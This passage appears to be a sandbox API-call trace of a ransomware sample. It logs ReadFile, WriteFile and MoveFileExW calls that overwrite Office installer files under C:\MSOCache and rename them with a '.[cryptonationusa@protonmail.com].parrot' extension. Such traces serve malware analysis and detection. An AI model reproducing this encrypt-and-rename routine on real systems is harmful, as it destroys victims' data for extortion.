nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.562] CloseHandle (hObject=0x27c) returned 1 [0118.562] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.570] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.572] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x41d4, lpOverlapped=0x0) returned 1 [0118.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.578] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0118.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.582] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.586] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.586] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.622] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.623] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.624] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.624] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.626] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa97ccf3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.626] CloseHandle (hObject=0x27c) returned 1 [0118.627] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.635] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.648] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.648] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.731] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.732] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.733] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.735] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd49ef49, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.735] CloseHandle (hObject=0x27c) returned 1 [0118.736] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.743] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.745] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.745] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x7976, lpOverlapped=0x0) returned 1 [0118.749] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.751] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686b88 | out: hHeap=0x5b0000) returned 1 [0118.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.751] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0118.757] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.757] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.759] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.759] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.793] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.793] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.794] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.794] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.797] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.797] CloseHandle (hObject=0x27c) returned 1 [0118.797] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0118.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.803] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.804] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.805] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.805] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10b2, lpOverlapped=0x0) returned 1 [0118.806] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.806] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0118.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b240 | out: hHeap=0x5b0000) returned 1 [0118.820] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.821] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.822] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.823] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.856] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.856] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0118.857] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.857] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0118.905] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228e074, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0118.905] CloseHandle (hObject=0x27c) returned 1 [0118.905] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0118.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.916] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.916] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.917] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.918] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xaec3a, lpOverlapped=0x0) returned 1 [0118.947] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.988] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0118.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aac8 | out: hHeap=0x5b0000) returned 1 [0118.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0118.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0118.997] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.997] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0118.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.999] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.035] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.035] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0119.036] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.036] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.039] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa4c518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0119.039] CloseHandle (hObject=0x27c) returned 1 [0119.039] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0119.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0119.094] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.094] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.096] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.096] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1915, lpOverlapped=0x0) returned 1 [0119.098] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.098] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0119.099] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689448 | out: hHeap=0x5b0000) returned 1 [0119.099] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0119.099] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b240 | out: hHeap=0x5b0000) returned 1 [0119.101] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.102] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0119.106] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.106] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.147] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.147] WriteFile (in: hFile=0x284, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0119.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.148] WriteFile (in: hFile=0x284, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0119.150] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b6bbb7, 